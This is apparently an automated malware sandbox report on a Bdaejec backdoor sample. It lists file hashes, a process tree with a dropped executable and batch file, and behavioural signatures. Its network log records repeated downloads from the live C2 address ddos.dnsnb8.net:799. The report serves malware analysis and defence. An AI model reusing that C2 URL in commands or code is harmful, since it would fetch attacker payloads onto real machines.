Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    122s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    21/01/2025, 02:33 UTC

General

  • Target

    2025-01-21_276ac3b2560fe493b71e1bdccbcf7778_icedid_smoke-loader_wapomi.exe

  • Size

    640KB

  • MD5

    276ac3b2560fe493b71e1bdccbcf7778

  • SHA1

    8b98f8b35ec30086a7c877089baff0ffb15b83fb

  • SHA256

    2914e42c6297fbaa619b482a24443b1956e9297f79bddd4c2092e1744e545aed

  • SHA512

    a594485a4e8ce5db777e2e73e15e1ec1f07c110232be5a208208fe48dddd04e7d3e8cbcb3af8bfd2b39dfa0cec8168095469eaaa8ab5c36029ca92d904d319ec

  • SSDEEP

    12288:hJUvxKcxpJ6HL3D0jwiZcaKqqnfrjSZYqWP8Eq7tbgVv09smaM:U3xQDdiZcaKZYkq7tbg9

Malware Config

Extracted

Family

bdaejec

C2

ddos.dnsnb8.net

Signatures

  • Bdaejec

    Bdaejec is a backdoor written in C++.

  • Bdaejec family
  • Detects Bdaejec Backdoor. 1 IoCs

    Bdaejec is backdoor written in C++.

  • ASPack v2.12-2.42 1 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2025-01-21_276ac3b2560fe493b71e1bdccbcf7778_icedid_smoke-loader_wapomi.exe
    "C:\Users\Admin\AppData\Local\Temp\2025-01-21_276ac3b2560fe493b71e1bdccbcf7778_icedid_smoke-loader_wapomi.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2392
    • C:\Users\Admin\AppData\Local\Temp\qJeYHE.exe
      C:\Users\Admin\AppData\Local\Temp\qJeYHE.exe
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2672
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\34c77f7a.bat" "
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2588

Network

  • flag-us
    DNS
    ddos.dnsnb8.net
    qJeYHE.exe
    Remote address:
    8.8.8.8:53
    Request
    ddos.dnsnb8.net
    IN A
    Response
    ddos.dnsnb8.net
    IN A
    44.221.84.105
  • flag-us
    GET
    http://ddos.dnsnb8.net:799/cj//k1.rar
    qJeYHE.exe
    Remote address:
    44.221.84.105:799
    Request
    GET /cj//k1.rar HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
    Host: ddos.dnsnb8.net:799
    Connection: Keep-Alive
  • flag-us
    GET
    http://ddos.dnsnb8.net:799/cj//k1.rar
    qJeYHE.exe
    Remote address:
    44.221.84.105:799
    Request
    GET /cj//k1.rar HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
    Host: ddos.dnsnb8.net:799
    Connection: Keep-Alive
  • flag-us
    GET
    http://ddos.dnsnb8.net:799/cj//k1.rar
    qJeYHE.exe
    Remote address:
    44.221.84.105:799
    Request
    GET /cj//k1.rar HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
    Host: ddos.dnsnb8.net:799
    Connection: Keep-Alive
  • flag-us
    GET
    http://ddos.dnsnb8.net:799/cj//k1.rar
    qJeYHE.exe
    Remote address:
    44.221.84.105:799
    Request
    GET /cj//k1.rar HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
    Host: ddos.dnsnb8.net:799
    Connection: Keep-Alive
  • flag-us
    GET
    http://ddos.dnsnb8.net:799/cj//k1.rar
    qJeYHE.exe
    Remote address:
    44.221.84.105:799
    Request
    GET /cj//k1.rar HTTP/1.1
    Accept: */*
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
    Host: ddos.dnsnb8.net:799
    Connection: Keep-Alive
  • 44.221.84.105:799
    http://ddos.dnsnb8.net:799/cj//k1.rar
    http
    qJeYHE.exe
    466 B
    176 B
    3
    4

    HTTP Request

    GET http://ddos.dnsnb8.net:799/cj//k1.rar
  • 44.221.84.105:799
    http://ddos.dnsnb8.net:799/cj//k1.rar
    http
    qJeYHE.exe
    466 B
    176 B
    3
    4

    HTTP Request

    GET http://ddos.dnsnb8.net:799/cj//k1.rar
  • 44.221.84.105:799
    http://ddos.dnsnb8.net:799/cj//k1.rar
    http
    qJeYHE.exe
    466 B
    176 B
    3
    4

    HTTP Request

    GET http://ddos.dnsnb8.net:799/cj//k1.rar
  • 44.221.84.105:799
    http://ddos.dnsnb8.net:799/cj//k1.rar
    http
    qJeYHE.exe
    466 B
    176 B
    3
    4

    HTTP Request

    GET http://ddos.dnsnb8.net:799/cj//k1.rar
  • 44.221.84.105:799
    http://ddos.dnsnb8.net:799/cj//k1.rar
    http
    qJeYHE.exe
    466 B
    176 B
    3
    4

    HTTP Request

    GET http://ddos.dnsnb8.net:799/cj//k1.rar
  • 8.8.8.8:53
    ddos.dnsnb8.net
    dns
    qJeYHE.exe
    61 B
    77 B
    1
    1

    DNS Request

    ddos.dnsnb8.net

    DNS Response

    44.221.84.105

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\34c77f7a.bat

    Filesize

    187B

    MD5

    72d320df720657a8fb1ea13f7dcdb6e2

    SHA1

    e056524e2159c4dad2a925f468afb5a3019e1bb2

    SHA256

    1860f37d1b61da141de153301ef31c3074b93dcc4ac5eb910f407d0f22ae2ffe

    SHA512

    a9d59f3a15178ead68d93109cdc4cf3194cee6a4d2c63828648a9267092b461bff92357140f08121b2f705c5a028e4b4357c73fd977473d4c7b0afdd3d764c27

  • C:\Users\Admin\AppData\Local\Temp\qJeYHE.exe

    Filesize

    15KB

    MD5

    56b2c3810dba2e939a8bb9fa36d3cf96

    SHA1

    99ee31cd4b0d6a4b62779da36e0eeecdd80589fc

    SHA256

    4354970ccc7cd6bb16318f132c34f6a1b3d5c2ea7ff53e1c9271905527f2db07

    SHA512

    27812a9a034d7bd2ca73b337ae9e0b6dc79c38cfd1a2c6ac9d125d3cc8fa563c401a40d22155811d5054e5baa8cf8c8e7e03925f25fa856a9ba9dea708d15b4e

  • memory/2392-12-0x00000000004B0000-0x00000000004B9000-memory.dmp

    Filesize

    36KB

  • memory/2392-0-0x0000000000400000-0x00000000004A7000-memory.dmp

    Filesize

    668KB

  • memory/2392-11-0x00000000004B0000-0x00000000004B9000-memory.dmp

    Filesize

    36KB

  • memory/2392-9-0x00000000008A0000-0x0000000000947000-memory.dmp

    Filesize

    668KB

  • memory/2392-8-0x00000000008A0000-0x0000000000947000-memory.dmp

    Filesize

    668KB

  • memory/2392-33-0x0000000000400000-0x00000000004A7000-memory.dmp

    Filesize

    668KB

  • memory/2392-34-0x00000000004B0000-0x00000000004B9000-memory.dmp

    Filesize

    36KB

  • memory/2392-35-0x00000000004B0000-0x00000000004B9000-memory.dmp

    Filesize

    36KB

  • memory/2672-19-0x0000000000036000-0x0000000000037000-memory.dmp

    Filesize

    4KB

  • memory/2672-18-0x0000000000020000-0x0000000000029000-memory.dmp

    Filesize

    36KB

  • memory/2672-13-0x0000000000030000-0x0000000000039000-memory.dmp

    Filesize

    36KB

  • memory/2672-31-0x0000000000030000-0x0000000000039000-memory.dmp

    Filesize

    36KB

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.